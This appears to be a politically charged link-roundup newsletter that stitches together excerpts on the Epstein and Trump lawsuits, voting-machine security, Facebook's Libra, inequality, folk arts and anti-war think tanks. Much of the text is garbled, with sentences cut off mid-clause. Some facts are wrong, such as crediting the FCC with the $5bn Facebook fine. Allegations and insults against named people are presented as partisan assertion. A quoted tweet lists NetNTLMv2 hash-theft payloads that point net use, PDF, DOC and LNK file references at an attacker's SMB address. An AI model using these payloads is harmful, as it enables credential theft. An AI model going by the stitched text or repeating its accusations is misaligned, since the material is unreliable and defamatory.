Donald J. Trump and Jeffrey E. Epstein Sex Slaves Lawsuits

Donald J. Trump and Jeffrey E. Epstein Sex Slaves Lawsuits

United States v. Jeffrey Epstein, 19 Cr. 490 (RMB)

July 9, 2019 update:

On July 8, 2019, an initial presentment and arraignment was held in the case of United States v. Jeffrey Epstein, 19 Cr. 490 (RMB).  The defendant consented to detention pending a subsequent bail hearing.  The next conference, which will include a bail hearing, is scheduled for Monday, July 15, 2019, at 10:00 a.m. before the Honorable Richard M. Berman, United States District Judge for the Southern District of New York, Daniel Patrick Moynihan United States Courthouse, 500 Pearl Street, New York, New York, in Courtroom 17B.

Pursuant to the Crime Victims’ Rights Act, Title 18, United States Code, Section 3771(a)(4), a crime victim has the right to be reasonably heard at certain public proceedings in the district court, including proceedings involving release.  If you believe you are a victim in connection with this case, and would like to be heard in connection with the hearing scheduled for July 15, 2019, please contact Wendy Olsen, Victim/Witness Coordinator, at the telephone number or email address listed below.

Katie Johnson vs. Donald J. Trump and Jeffrey E. Epstein

Case 5:16-cv-00797-DMG-KS Document 1
Filed 04/26/16
Page 1 of 6
Page ID #:1


Trump-Epstein Rape Of 13 Year Old Girl Allegations (Court Filings)

Jane Doe vs. Trump and Epstein: Case 1:16-cv-07673 Document 1 Filed 09/30/16

also see doc/310836504/Katie-Johnson-Trump-Lawsuit

Trump and hedge fund billionaire Mercer

It has emerged that Robert Mercer, a hedge-fund billionaire, who helped to finance the Trump campaign and who was revealed this weekend as one of the owners of the rightwing Breitbart News Network, is a long-time friend of Nigel Farage. He directed his data analytics firm to provide expert advice to the Leave campaign on how to target swing voters via Facebook – a donation of services that was not declared to the electoral commission. [guardian]

#Mercer revelation in Paradise Papers #ParadisePapers

Mercer bankrolled Donald Trump who hired Cambridge Analytica w/Bannan as board member

FCC fines Facebook $5bn for Cambridge Analytica privacy violations

2019 PENNSYLVANIA VOTE PA New election systems use vulnerable software

PA New election systems use vulnerable software


John MacMillan PA CIO was appointed as deputy secretary for information technology and chief information officer for the commonwealth in March 2015.

Sean E. Crager was named the Chief Technology Officer for the
Commonwealth of Pennsylvania in February 2019.

Erik Avakian was named Chief Information Security Officer for the
commonwealth in 2010.

Marian K. Schneider was appointed Deputy Secretary for Elections and
Administration on February 2, 2015. #ElectionVerificationNetwork @marianschneider #VotesPA

There is no federal agency with regulatory authority or oversight of the U.S. voting machine industry  so the men above are responsible for the integrity of the vote in
The Office of Administration’s general number is:
(717) 787-9945

To contact an individual department:
Information Technology
Phone: (717) 787-5440

—-> 2019

80% of all votes in America are counted by only
two companies:  Diebold and ES&S.
Two voting companies
& two brothers will count 80 percent of U.S. election using both
scanners & touchscreens.

The vice-president of Diebold and the president of ES&S are

PA New election systems use vulnerable software

So far, nearly 60% have taken action, with $14.15 million of mostly
federal funds helping counties buy brand-new electoral systems.

But there’s a problem: Many of these new systems still run
on old software that will soon be outdated and more vulnerable to hackers.

An Associated Press analysis has found that like many counties in Pennsylvania, the vast majority of 10,000 election jurisdictions nationwide use Windows 7 or an older operating system to create ballots, program voting machines, tally votes and report counts.

That’s significant because Windows 7 reaches its “end of life” on Jan. 14, meaning Microsoft stops providing technical support and producing “patches” to fix software vulnerabilities, which hackers can exploit. In a statement to the AP, Microsoft said Friday it would offer continued Windows 7 security updates for a fee through 2023.

Critics say the situation is an example of
what happens when private companies ultimately determine the security
level of election systems with a lack of federal requirements or
Vendors say they have been making consistent
improvements in election systems. And many state officials say they are
wary of federal involvement in state and local elections.

It’s unclear whether the often hefty expense of security updates
would be paid by vendors operating on razor-thin profit margins or cash-strapped jurisdictions. It’s also uncertain if a version running on Windows 10, which has more security features, can be certified and rolled out in time for primaries.

“That’s a very serious concern,” said J. Alex Halderman, a
University of Michigan professor and renowned election security expert.
He said the country risks repeating “mistakes that we made over the
last decade or decade-and-a-half when states bought voting machines but
didn’t keep the software up-to-date and didn’t have any serious
provisions” for doing so.

The AP surveyed all 50 states, the District of Columbia and territories, and found multiple battleground
states affected by the end of Windows 7 support, including
Pennsylvania, Wisconsin, Florida, Iowa, Indiana, Arizona and North Carolina. Also affected are Michigan, which recently acquired a newsystem, and Georgia, which will announce its new system soon.

“Is this a bad joke?” said Marilyn Marks, executive
director of the Coalition for Good Governance, an election integrity
advocacy organization, upon learning about the Windows 7 issue. Her
group sued Georgia to get it to ditch its paperless voting machines and
adopt a more secure system. Georgia recently piloted a system running
on Windows 7 that was praised by state officials.

The election technology industry is dominated by three titans:
Omaha, Nebraska-based Election Systems and Software LLC; Denver,
Colorado-based Dominion Voting Systems Inc.; and Austin, Texas-based
Hart InterCivic Inc. They make up about 92% of election systems used
nationwide, according to a 2017 study . All three have worked to win
over states newly infused with federal funds and eager for an update.

U.S. officials determined that Russia interfered in the 2016
presidential election and have warned that Russia, China and other
nations are trying to influence the 2020 elections.

Of the three companies, only Dominion’s newer systems aren’t touched
by upcoming Windows software issues—though it has election systems
acquired from no-longer-existing companies that may run on even older
operating systems.

Hart’s system runs on a Windows version that reaches its end of life
on Oct. 13, 2020, weeks before the election.

ES&S said it expects by the fall to be able to offer customers an election system running on Microsoft’s current operating system, Windows 10. It’s now being tested by a federally accredited lab.

For jurisdictions that have already purchased systems running on Windows 7, ES&S said it will be working with Microsoft to provide support until jurisdictions can update. Windows 10 came out in 2015.

Hart and Dominion didn’t respond to requests for comment.

Microsoft usually releases patches for operating systems monthly, so
hackers have learned to target older, unsupported systems. Its systems
have been ground zero for crippling cyberattacks, including the
WannaCry ransomware attack, which froze systems in 200,000 computers
across 150 countries in 2017.

For many people, the end of Microsoft 7 support means simply
updating. However, for election systems the process is more
onerous. ES&S and Hart don’t have federally certified systems on Windows 10, and the road to certification is long and costly, often taking at least a year and costing six figures.

ES&S, the nation’s largest vendor, completed its latest
certification four months ago, using Windows 7. Hart’s last
certification was May 29 on a Windows version that also won’t be
supported by November 2020.

Though ES&S is testing a new system it’s unclear how long
it will take to complete the process—federal and possible state
recertification, plus rolling out updates—and if it will be done before
primaries begin in February.

Election administrators notoriously suffer from insufficient
resources. Recently, many jurisdictions splurged on new election
systems, some using their portion of $380 million in federal funds
provided to states.

Counties in South Dakota, South Carolina and Delaware all recently
bought election systems, while many others are evaluating purchases.

The use of election systems that still run on Windows 7 “is of
concern, and it should be of concern,” said U.S. Election Assistance
Commission Chair Christy McCormick. EAC develops election system

McCormick noted that while election systems aren’t supposed to be connected to the internet, various stages of the election process require transfers of information, which could be points of vulnerability for attackers. She said some election administrators are working to address the problem.

Officials in Pennsylvania, Michigan and Arizona say they have
discussed the software issue with their vendors. Other states mentioned in this story didn’t respond to AP requests for comment.

Pennsylvania elections spokeswoman Wanda Murren said contract language allows such a software upgrade for free.
Arizona elections spokeswoman C. Murphy Hebert said ES&S has also assured the state that it will provide support to counties for an upgrade.

Susan Greenhalgh, policy director for the advocacy group
National Election Defense Coalition, said even the best scenario has election administrators preparing for primaries while trying to upgrade their systems, which is “crazy.” Her group shared its concerns about Windows 7 with AP.

Certification, which is voluntary at the federal level but sometimes
required by state laws, ensures vendor software runs properly on
operating systems they’re tested on. But there is no cybersecurity
check and the process often fails to keep up with rapidly changing

Kevin Skoglund, chief technologist for Citizens for Better Elections, said county election
officials point to EAC and state certifications as “rock-solid proof” their systems are secure, but don’t realize vendors are certifying
systems under 2005 standards.

Local officials rely on vendors to build secure systems and EAC and
the states to enforce high standards, Skoglund said.

After the AP began making inquiries, Sen. Ron Wyden, D-Ore., wrote
McCormick asking what EAC, which has no regulatory power, is doing to
address a “looming election cybersecurity crisis” that essentially lays
the “red carpet” out to hackers.

“Congress must pass legislation giving the federal government the
authority to mandate basic cybersecurity for election infrastructure,”
Wyden told the AP in a statement.

New election systems use vulnerable software

Systems Across Country Still Rely on Windows 7, Which Loses Free
Support Next Year

!!!!!! THIS

— PA Election officials call cyber-attack theory far fetched

and Mercer to Implement New Post-Election Audits for November 2019
Election – Election Systems & Software

Election Voter Education for Americans

We hang the petty thieves and appoint the great ones to public office. ~ Aesop

2018 The Crisis of Election Security
more than 80 percent of the machines in use today are under the purview
of three companies — Dominion, ES&S and Hart InterCivic.

Top Voting Machine Vendor Admits It Installed
Remote-Access Software on Systems Sold to States
July 17,
Remote-access software and modems on election equipment ‘is the worst
decision for security short of leaving ballot boxes on a Moscow street

Device Manufacturer Encourages Users To Use (And Re-Use) Easily-Guessed

Kim Zetter, writing for Motherboard, has obtained a manual for devices
made by Unisyn Voting Solutions, which provides horrendous security
advice for users of its products. There are federal guidelines for
voting systems. The Elections Assistance Committee makes the following
recommendations for passwords: [E]lection officials are encouraged to
change passwords after every election. Passwords should also have the
following characteristics: they should be at least six characters,
preferably eight, and include at least one uppercase letter, a
lowercase letter, at least one number and a symbol. It also says,
though, that passwords should be easy to remember so that employees
won’t need to write them down, “yet sufficiently vague that they cannot
be easily guessed.”

Passwords SysremID: IamInfected
Password: H1N1tobereplacedGesundheit


Yes, You can Rig the Election cause “how to hack” the machine is so
easy.New election systems in Pennsylvania, elsewhere are using old, vulnerable software

Hacker demonstrates how voting machines can be compromised

Roughly 70 percent of states in the U.S. use some form of electronic
voting. Hackers told CBS News that problems with electronic voting machines have been
around for years
. The machines and the software are
old and antiquated. But now with millions heading to the polls in three
months, security experts are screaming about it !!!!!!!!!!

Symantec Security Response, Election Day results could be
manipulated by an affordable device you can find online.  “I can insert
it, and then it resets the card, and now I’m able to vote again,” said
Brian Varner, a principle researcher at Symantec, demonstrating the

The voter doesn’t even need to leave the booth to hack the machine.
“For $15 and in-depth knowledge of the card, you could hack the vote,”
Varner said.  Symantec Security Response director Kevin Haley said
elections can also be hacked by breaking into the machines after the
votes are collected.  “The results go from that machine into a piece of
electronics that takes it to the central counting place,” Haley said.
“That data is not encrypted and that’s vulnerable for manipulation.”
“How big of a hacking potential problem is this?” Villarreal asked
him.  “Well, there’s a huge potential,” Haley responded. “There are so
many places in the voting process once it goes electronic that’s

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An application can be completed online here.
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The National Endowment for the Arts Folk & Traditional Arts team
is very excited to share a summary and video from the Close Listening: A National Case for the Value and Impact of the Folk & Traditional Arts convening that was held at the 2018 National Assembly of State Arts Agency’s pre-conference in Baltimore, MD last October:

The video <> includes highlights from conversations with several participants, and the summary <> includes a list of key recommendations from the convening and brief summaries of each session. We hope that you will find these materials as inspiring as we have. Please feel free to share far and wide.

Cheryl Schiele~ Folk & Traditional Arts Specialist | Multidisciplinary Arts National Endowment for the Arts

“End of Old Song
See the entire film at
Filmed in the mountains of North Carolina, this acclaimed documentary revisits the region where English folklorist Cecil Sharp collected British ballads in the early 1900s. The film contrasts the nature of the ballad singers with the presence of the juke box.

Google’s 4,000-Word Privacy Policy Is a Secret History of the Internet

Mermaids Have Always Been Black

The uproar over Disney casting Halle Bailey as the Little Mermaid overlooks generations of Caribbean and African folklore


ECP NetHappenings Newsletter © 7-11-19

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President Trump can’t block you on Twitter, federal court rules

Trump’s ‘Social Media Summit’: All the President’s Memes

Trump will mobilize its domestic-based trolls ahead of 2020.
In 2016, a “meme army” rose from the depths of 4chan and Reddit to support Mr. Trump’s candidacy by turning out a steady stream of pro-Trump images, videos and animation — the best of which were often shared by Mr. Trump and his inner circle on social media. Since his election, Mr. Trump has continued to look to his internet supporters as a kind of crowdsourced media consultancy, from which he draws slogans, video mash-ups and “Game of Thrones”-inspired memes. President Trump is assembling a group of his most ardent online supporters for a White House “social media summit.” The guest list has not been publicly released, but a motley grab bag of pro-Trump influencers have taken to Twitter to brag about their invitations, including James O’Keefe, the right-wing founder of Project Veritas; Bill Mitchell, a pro-Trump activist who has promoted the QAnon conspiracy theory; and a pseudonymous Twitter user, “CarpeDonktum,” who is perhaps best known for creating a doctored video of former Vice President Joseph R. Biden Jr. that Mr. Trump retweeted.
The group will have “a robust conversation on the opportunities and challenges of today’s online environment,” according to Judd Deere, a White House spokesman, who said last month that Mr. Trump would speak at the summit. Conservative groups like the Heritage Foundation and Turning Point USA have also said they would attend.
The summit illuminates the rising influence of online tastemakers within the political establishment. But it also has the makings of a West Wing pity party. Right-wing internet personalities, including Mr. Trump himself, have accused social media companies of being biased against them. Recently, Mr. Trump suggested that Twitter “should be sued because of what’s happening with the bias,” and in May, the White House released a “share your story” tool to collect anecdotes from people who feel their social media accounts have been banned unfairly.

2014 Adam Curtis – Oh Dear
This is not another conspiracy “Theory” when you can prove the intentional strategy of statecraft

Mozilla blocks UAE bid to become an internet security guardian after hacking reports 
Firefox browser maker Mozilla is blocking the United Arab Emirates’ government from serving as one of its internet security gatekeepers, citing Reuters reports on a UAE cyber espionage program.

13-year-old scientist’s research shows hand dryers can hurt kids’ ears
Research finds many hand dryers operate at noise levels that are harmful to children. Nora Keegan is the 13-year-old student who did the study in the Canadian journal Paediatrics & Child Health.

Protip: If you want to learn about something specific, email an academic about their research. This is from David Fifield (published with permission) about how encrypted Tor traffic is censored in China. I hadn’t even asked what my question was yet, just if he was the right guy.

Eric Wall @ercwl:
Facebook’s Libra Masterplan
The social media company’s move into cryptocurrency takes advantage of regulatory loopholes

If Facebook’s blockchain handles 1,000 tps, that means you have to handle 1,000 tps as well (which you won’t) or blindly trust the system. Bitcoin doesn’t want you to trust the system. Bitcoin wants you to be the system.

“Libra “anonymity” 101: What Facebook says: private enough to hide you from corporations, but transparent enough for law enforcement to catch criminals Reality: transparent enough for corporations to track average users, but private enough to hide criminals from law enforcement”
With an account-based model (i.e. constant address reuse), every corporation should have an easy time deanonymizing every normal user and every business and map out exactly what everyone is doing. Running a full (non-block producing) node will supposedly be open to the public.
My own theory is that intially, Facebook won’t care about 0.01% of suspicious activity. It’s worth it, since keeping the system somewhat open allows for on/off-ramps to pop up everywhere on the planet without their help. Libra adoption > all.

Why Facebook’s plans for a cryptocurrency are already dead in the water
Scott Galloway Professor of Marketing @NYUStern
The Arrogance and Genius of Libra Coin

Facebook’s cryptocurrency partners revealed—we obtained the entire list of inaugural backers

Craig Wright faces tough questions in court

Freedom of the Press Foundation

“Jane Doe” alleges Donald Trump sexually assaulted her on four separate occasions, culminating in a rape when she was just 13 at Jeffrey Epstein’s mansion. Her evidence? Three sworn declarations – from her, a friend she confided in at the time, AND one of Epstein’s recruiters. This case was filed in New York federal court in 2016. You can read her pleading here: The case was NOT dismissed. Jane withdrew her complaint on November 4, 2016, saying she was “afraid to show her face” due to “numerous threats” against her.

Jeffrey Epstein’s ‘Pedophile’ Island
More than two decades ago, Little St. James Island, a small body of land tucked in the U.S. Virgin Islands, began to change in ways that that locals on other islands regarded with suspicion. Plants were cleared. Poles bearing American flags went up. Security guards lined the beaches. These transformations, according to the Associated Press, happened when the island was bought by a now-disgraced billionaire: Jeffrey Epstein, who was indicted earlier this week on charges that he ran a sex-trafficking ring of underage girls in the early 2000s.

Grim and Bizarre reality, half of USA citizens are effectively poor in the world’s richest country.

Half of Americans Are Effectively Poor Now.

America’s Real Divide Isn’t Left vs. Right. It’s Democracy vs. Oligarchy
When oligarchs fill the coffers of political candidates, they neuter democracy by Robert Reich

America’s Collapsing Because it’s the World’s First Poor Rich Country

What a grim and bizarre reality. Half of people are effectively poor in the world’s richest country. What do we call a population that live and debt “in debt”? We certainly don’t call them free in any real sense. They’re the modern equivalent of serfs or peasants — who are born owing, and who will die owing, a fictional, unplayable amount.

If the majority of people in a rich society are poor now…even though they’re “employed”…then clearly the problem isn’t the people…it’s the system. Poverty in America, in other words, has become endemic and ubiquitous because its systemic and structural. It’s baked into the system. It’s a feature, not a bug.

“Asset limited” means that these households don’t have the resources — the hard financial assets — to drawn down on anymore. That tallies with other research which says the majority of Americans now have a negative net worth. In short, “asset limited” is a polite way of saying: indebted for life, with no real way of ever not getting out of the trap. It’s a nice way of saying: broke.

“Income constrained” = “broke and indebted” = “poor.”

43% of American households can’t afford a budget that includes housing, food, childcare, healthcare, transportation, and a cellphone. Translation: nearly half of Americans can’t afford the basics of life anymore.


Adam Bonica: In 2018, the top 0.01% of the VAP (25,306 donors) accounted for 46% of all contributions. The top 400 donors accounted for 22%. Imagine living in a town of 10,000 people where nearly half of all campaign dollars came from just one person. That’s where we are now at as a county.

Let’s all root for the wealth tax. An overwhelming majority of Democrats, and Republicans and Independents support a wealth tax on the ultra-rich.

There is no right and no left it is about taking it back from the rich. It isn’t about NO TAXES!

Immigrants pay more than 20% of their income in taxes (sales taxes & payroll taxes) Trump, Amazon: pay 0%

Want to tax the rich? Simulate your wealth tax!
You can change any of the parameters and do your own scoring, transparently.

Thomas Piketty @PikettyLeMonde
Hi @LHSummers, if you want to propose another estimate, why don’t you start by working on inequality? Before 1913, there were lots of Summers saying that income tax would never work.

The expansion is now entering its 11th year and is the longest period of US growth on record. Still, middle-income Americans haven’t recovered all the wealth they lost in the Great Recession. Only the top 30% have recovered.

@TaxJusticeNet monthly podcast: unmissable corruption, scandal & analysis with @Naomi_Fowler & @jechristensen56


A basic income for everyone? Yes, Finland shows it really can work

Basic Income for Americans

Why Poverty Is Like a Disease By Christian H. Cooper April 20, 2017

Federal watchdog issues scathing report on ed department’s handling of student loans

The Monopolization of America

MONOPLY: MR. Moneybags, Rich Uncle Pennybags graphic starts in Russia.

Chomsky: By Focusing on Russia, Democrats Handed Trump a “Huge Gift” & Possibly the 2020 Election


– IMF International Monetary Fund  head, Dominique Strauss Khan resigned in 2011 over a sex assault scandal.

– 2016 IMF International Monetary Fund  head Christine Lagarde found guilty of “negligence” for approving a massive government payout to business tycoon Bernard Tapie during her tenure as French finance minister. Lagarde ensured Tapie received preferential treatment by referring the matter to arbitration as a quid pro quo for his financial support for Sarkozy during his 2007 presidential bid.

Christine Lagarde has been nominated as candidate to replace Mario Draghi as head of the European Central Bank. She is a supporter of digital assets and could represent a transformational force within central banking. An ideal candidate for a corrupt bank. Judges opt not to give any punishment to head of International Monetary Fund, who was given support of IMF board after the verdict.

Digital Assest Manipulation by  Jamie Diamon / George Soros / Warren Buffet


US Customs just seized a ship owned by JPMorgan after authorities found $1 billion worth of drugs on it

Federal prosecutors in Philadelphia have seized a container ship operated by the Mediterranean Shipping Co., weeks after authorities found more than $1 billion worth of cocaine on the vessel in what was one of the largest drug busts in American history.

US Customs and Border Protection seized the ship on July 4, a statement out Monday said. The ship is owned by client assets in a maritime strategy offered by JPMorgan Asset Management, according to a person familiar with the matter. It is operated by the Switzerland-based MSC.

On June 17, border agents found 39,525 pounds of cocaine stashed in several containers on the MSC Gayane at the Philadelphia seaport. The street value of the drugs was estimated at about $1.3 billion, making it the largest cocaine seizure by the agency.

  • Federal prosecutors in Philadelphia have seized a container ship operated by the Mediterranean Shipping Co. and owned by JPMorgan Asset Management.
  • That came weeks after authorities found more than $1 billion worth of cocaine on the vessel in what was one of the largest drug busts in American history.
  • At least half a dozen crew members have been arrested, according to Homeland Security Investigations, and the investigation is ongoing.



Get Rid of Epstein lover Manhattan DA Cy Vance

It’s time for a new District Attorney for Manhattan.

Rebecca J. Kavanagh

The documents were unsealed in April 2019.
New York City Public Defender, Unsealed documents show Manhattan DA Cy Vance knew Jeffrey Epstein should have been designated a Level 3 Sex Offender (the most serious classification under NY law) but instead argued he should be designated Level 1 (the least serious). The question is why. The case was before Judge Pickholz who said, “I have never seen the prosecutor’s office do anything like this. I have done many [cases] much less troubling than this one where [prosecutors] would never make a downward argument like this.” The judge went ahead and classified Epstein as a Level 3 Sex Offender over the DA’s objection. Cy Vance later claimed his office had made a mistake and misread the law. The judge went ahead and classified Epstein as a Level 3 Sex Offender over the DA’s objection. Cy Vance later claimed his office had made a mistake and misread the law.

Interesting to note, one Prosecutor in this case is none other than James Comey’s daughter. Oops!

What would have happened to Donald’s campaign if Ivanka and Junior had been indicted in 2012?

#VoteNoOnCyrusVance2021 otherwise known as an enabler of the #TrumpTrash crime family.

Remember Cy Vance prosecuting a Chinese immigrant owned bank. Only bank out of all the crooks on Wall st!!

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The obscure advisory committees at the heart of the U.S. drug pricing debate

Expectations were high last year for three new migraine drugs hitting the market from Amgen Inc, Eli Lilly and Co and Teva Pharmaceutical Industries.

Finding real IPs of origin servers behind CloudFlare or Tor

China Snares Tourists’ Phones in Surveillance Dragnet by Adding Secret App

I Opted Out of Facial Recognition at the Airport—It Wasn’t Easy

FEATURE-‘Took away our identity’: Google Maps puzzles residents with new neighbourhood names

The Shocking reason the U.S. wants to stop Facebook’s Libra

Moneyland by Oliver Bullough review – the shadow world of the super-rich

Unfixable Seed Extraction on Trezor – A practical and reliable attack

“Did know that u can steal #NetNTLMv2 by changing #SMB port to bypass sec-things: net use \\\t or pdf : /F (\\\\IP@80\\t) or dubdoc : ///IP@80/t or doc: Target=”file://IP@80/t.dotx” or lnk: URL=file://IP@80/t.htm or: IconFile=\\IP@80\t.ic

Theta brain oscillations might help you navigate your world.

How certain brainwaves implements a GPS system for spatial navigation.

These brainwaves might help remember the locations to which a person is navigating.

Rhythmic fluctuations in brain activity, so-called theta oscillations, may play a role in this process.

Theta oscillations, during which brain activity changes at a frequency of approximately four hertz supports spatial navigation.

Theta Cycles – gamma were used to classify EEG waves falling into specific frequency ranges, with “theta” generally meaning a range of about 4-7 cycles per second (Hz).

Theta is used in healing practices and shamanic traditions, like with drum and rattle, which can alter the consciousness of the practitioner/healer to go into a variety of trance states.

This is rock music. Literally.It was here that Dr. J. J. Ott performed for the Buckwampum Historical Society in June 1890, for what is probably the first rock concert in history.
These chime-like sounds come from geological phenomena known as ringing rocks. Physically, they look no different from regular rocks, but it’s not until you lightly strike them with a hammer that the rocks reveal their sonic secret.
Also known as sonorous rocks, these audio boulders can be found in various locations inside the 128-acre Ringing Rocks Park in Southeastern Pennsylvania, including Stony Garden in Bucks County, Devil’s Race Course in Franklin, and Pottstown in Montgomery.
But a more interesting discovery is that, while only 30% of the rocks ring, they generally ring in the tone of B flat. Now, why is that more interesting than finding out the sound produced by the rocks are ultimately site-specific, existing in synergy with its surroundings, wherein any incremental change can dramatically affect its acoustics, you might ask? Because B flat is what a supermassive black hole sounds like.
Back in 2003, NASA’s Chandra X-Ray Observatory detected sound waves are coming from a black hole 250 million light years away from Earth. It turns out, it’s been humming a B flat that’s 57 octaves below middle C for close to 2.5 billion years.

A binaural beat is an auditory illusion perceived when two different pure-tone sine waves, both with frequencies lower than 1500 Hz, with less than a 40 Hz difference between them, are presented to a listener dichotically (one through each ear). The 4HZ that is referred to is the difference between the two tones which creates another tone which is referred to as a beat. The same effect is achieved when tuning a guitar with a tuning fork. As you get close to the correct frequency, you will hear the “beat” or difference between the two slow until the tones are the same.

Military industrial Complex monopoly and demise

Ending Endless War  <> NO MORE WAR

Military industrial Complex Monopoly and Demise

America’s Monopoly Crisis Hits the Military

Wall Street’s short-term incentives have decimated our defense industrial base and undermined our national security.

China has a 5, 10 20, 50, 100 year plan.
America has the Trump Tweets  Plan.

By Matt Stoller and Lucas Kunce • June 27, 2019

Who took down America and got royal compensation for taking one of America’s strategic industrial assets down the road toward total destruction.

The erosion of much of the American industrial and defense industrial base.

Wall Street Richard McGinn became CEO in 1997, he and Carly Fiorina focused on financial markets and its pressure on executives to make decisions designed to impress financial markets, rather than for the long-term health of their companies.

Americans invented the telephone business and until recently dominated production and research. But in the last 20 years, every single American producer of key telecommunication equipment sectors is gone. Because of public policies focused on finance instead of production, the United States increasingly cannot produce or maintain vital systems upon which our economy, our military, and our allies rely.

One manufacturer told me we can no longer replace our submarine fleet, because we don’t have the capacity to do high quality steel castings necessary for high-pressure hulls. Most of that’s in China now.

“Well there was a China 2020 plan, 2016 plan, 2012 plan.” The United States has, for instance, lost much of its fasteners and casting industries, which are key inputs to virtually every industrial product. It has lost much of its capacity in grain oriented flat-rolled electrical steel, a specialized metal required for highly efficient electrical motors. Aluminum that goes into American aircraft carriers now often comes from China.

Hickey told a story of how the United States is even losing its submarine fleet.

ending endless war

Ben Ferencz

Benjamin B. Ferencz was born in the Carpathian Mountains of Transylvania in 1920. When he was ten months old his family moved to America. His earliest memories are of his small basement apartment in a Manhattan district – appropriately referred to as “Hell’s Kitchen.”
Benjamin Berell Ferencz is a Hungarian-born American lawyer. He was an investigator of Nazi war crimes after World War II and the Chief Prosecutor for the United States Army at the Einsatzgruppen Trial, one of the twelve military trials held by the U.S. authorities at Nuremberg, Germany.

What Ben Ferencz, the last Nuremberg prosecutor alive, wants
What the last Nuremberg prosecutor alive wants the world to know. At 99, Ben Ferencz is the last Nuremberg prosecutor alive and he has a far-reaching message for today’s world.

Coordinates groups to advocate creation of an International Criminal Court for war crimes, genocide, and crimes against humanity.




Ending Endless War

Smedley Butler USA’s most decorated General in the Marines

In 1935, Butler wrote a book titled War Is a Racket, where he described and criticized the workings of the United States in its foreign actions and wars, such as those he was a part of, including the American corporations and other imperialist motivations behind them. After retiring from service, he became a popular advocate, speaking at meetings organized by veterans, pacifists, and church groups in the 1930s.

The real heroism story about him starts when he retired. In 1933, A Wall Street bond salesman Gerald MacGuire approached Butler with a proposal for him. He said to him that he was acting as a front man for wealthy industrialists and bankers, and offered Butler the chance to become the American Legion’s national commander. If he accepted the offer he would have the loyalty of 500,000 veterans and up to $300 million of funding made available by the bankers and industrialists. Their mission would be to take over the White House. MacGuire told Butler that the same people controlled the media and that would help for the public to easily swallow the story that they were about to tell. They wanted to install a fascist government and Butler would be America’s Hitler.
Apparently, they had the money, but they weren’t that smart when they approached Butler with this proposal. They picked the wrong man; Butler didn’t like Mussolini and he didn’t like fascism. Butler didn’t say anything and he decided to play the game and try to find out more about them. He even contacted Philadelphia Record reporter Paul French and asked him for help. He gathered all the information he could and went straight to the House Un-American Activities Committee in 1934 and told them everything he knew.


– 2014 Nothing Really Compare to the Koch Brothers Political Empire
billionaire George Soros, Tom Steyer, Tides Foundation

The Koch brothers run most of their political empire through a network of 501(c)(4) and 501(c)(6) nonprofits, the majority of which spend money directly on elections or fund those that do.
In total, the Koch political empire marshaled $400 million in the 2012 election cycle toward groups and efforts that spent money directly in the electoral arena.

“dark money” was meant to describe the funds spent on elections and election-related issue ads by political nonprofits that are not required to disclose the names of their donors. The term “dark money” does not apply, however, to every nonprofit that does not disclose its donors — not even to every nondisclosing nonprofit with political goals, broadly speaking, on the left or the right. public interest nonprofits (organized under section 501(c)(3)), which may be involved in shaping policy but are forbidden to engage in electoral activity and labor unions (organized under section 501(c)(5)), which can participate in elections but must disclose their donors to the Labor Department.



In an astonishing turn, George Soros and Charles Koch team up to end US ‘forever war’ policy

By Stephen Kinzer 1-401-863-3473  280 Brook Street, Room 211
June 30, 2019
Stephen Kinzer is a senior fellow at the Watson Institute for International and Public Affairs at Brown University. CV

George Soros and Charles Koch are teaming up on the effort.

BESIDES BEING BILLIONAIRES and spending much of their fortunes to promote pet causes, the leftist financier George Soros and the right-wing Koch brothers have little in common. They could be seen as polar opposites. Soros is an old-fashioned New Deal liberal. The Koch brothers are fire-breathing right-wingers who dream of cutting taxes and dismantling government. Now they have found something to agree on: the United States must end its “forever war” and adopt an entirely new foreign policy.

In one of the most remarkable partnerships in modern American political history, Soros and Charles Koch, the more active of the two brothers, are joining to finance a new foreign-policy think tank in Washington. It will promote an approach to the world based on diplomacy and restraint rather than threats, sanctions, and bombing. This is a radical notion in Washington, where every major think tank promotes some variant of neocon militarism or liberal interventionism. Soros and Koch are uniting to revive the fading vision of a peaceable United States. The street cred they bring from both ends of the political spectrum — along with the money they are providing — will make this new think tank an off-pitch voice for statesmanship amid a Washington chorus that promotes brinksmanship.

“This is big,” said Trita Parsi, former president of the National Iranian American Council and a co-founder of the new think tank.
“It shows how important ending endless war is if they’re willing to put aside their differences and get together on this project. We are going to challenge the basis of American foreign policy in a way that has not been done in at least the last quarter-century.”

Since peaceful foreign policy was a founding principle of the United States, it’s appropriate that the name of this think tank harken back to history. It will be called the Quincy Institute for Responsible Statecraft, an homage to John Quincy Adams, who in a seminal speech on Independence Day in 1821 declared that the United States “goes not abroad in search of monsters to destroy. She is the well-wisher to the freedom and independence of all. She is the champion and vindicator only of her own.” The Quincy Institute will promote a foreign policy based on that live-and-let-live principle.

The institute plans to open its doors in September and hold an official inauguration later in the autumn. Its founding donors — Soros’s Open Society Foundation and the Charles Koch Foundation — have each contributed half a million dollars to fund its takeoff. A handful of individual donors have joined to add another $800,000. By next year the institute hopes to have a $3.5 million budget and a staff of policy experts who will churn out material for use in Congress and in public debates. Hiring is underway. Among Parsi’s co-founders are several well-known critics of American foreign policy, including Suzanne DiMaggio, who has spent decades promoting negotiated alternatives to conflict with China, Iran, and North Korea; the historian and essayist Stephen Wertheim; and the anti-militarist author and retired Army colonel Andrew Bacevich.

“The Quincy Institute will invite both progressives and anti-interventionist conservatives to consider a new, less militarized approach to policy,” Bacevich said, when asked why he signed up. “We oppose endless, counterproductive war. We want to restore the pursuit of peace to the nation’s foreign policy agenda.”

In concrete terms, this means the Quincy Institute will likely advocate a withdrawal of American troops from Afghanistan and Syria; a return to the nuclear deal with Iran; less confrontational approaches to Russia and China; an end to regime-change campaigns against Venezuela and Cuba; and sharp reductions in the defense budget.

It aims to issue four reports before the end of 2019: two offering alternative approaches to the Middle East and East Asia, one on “ending endless war,” and one called “democratizing foreign policy.” Its statement of principles asserts that the United States “should engage with the world, and the essence of engagement is peaceful cooperation among peoples. For this reason, the United States must cherish peace and pursue it through the vigorous practice of diplomacy . . . The use of armed force does not represent American engagement in the world. Force ends human life, destroying engagement irreparably. Any resort to force should occur only as a last resort and should remain infrequent. The military exists to defend the people and territory of the United States, not to act as a global police force.”

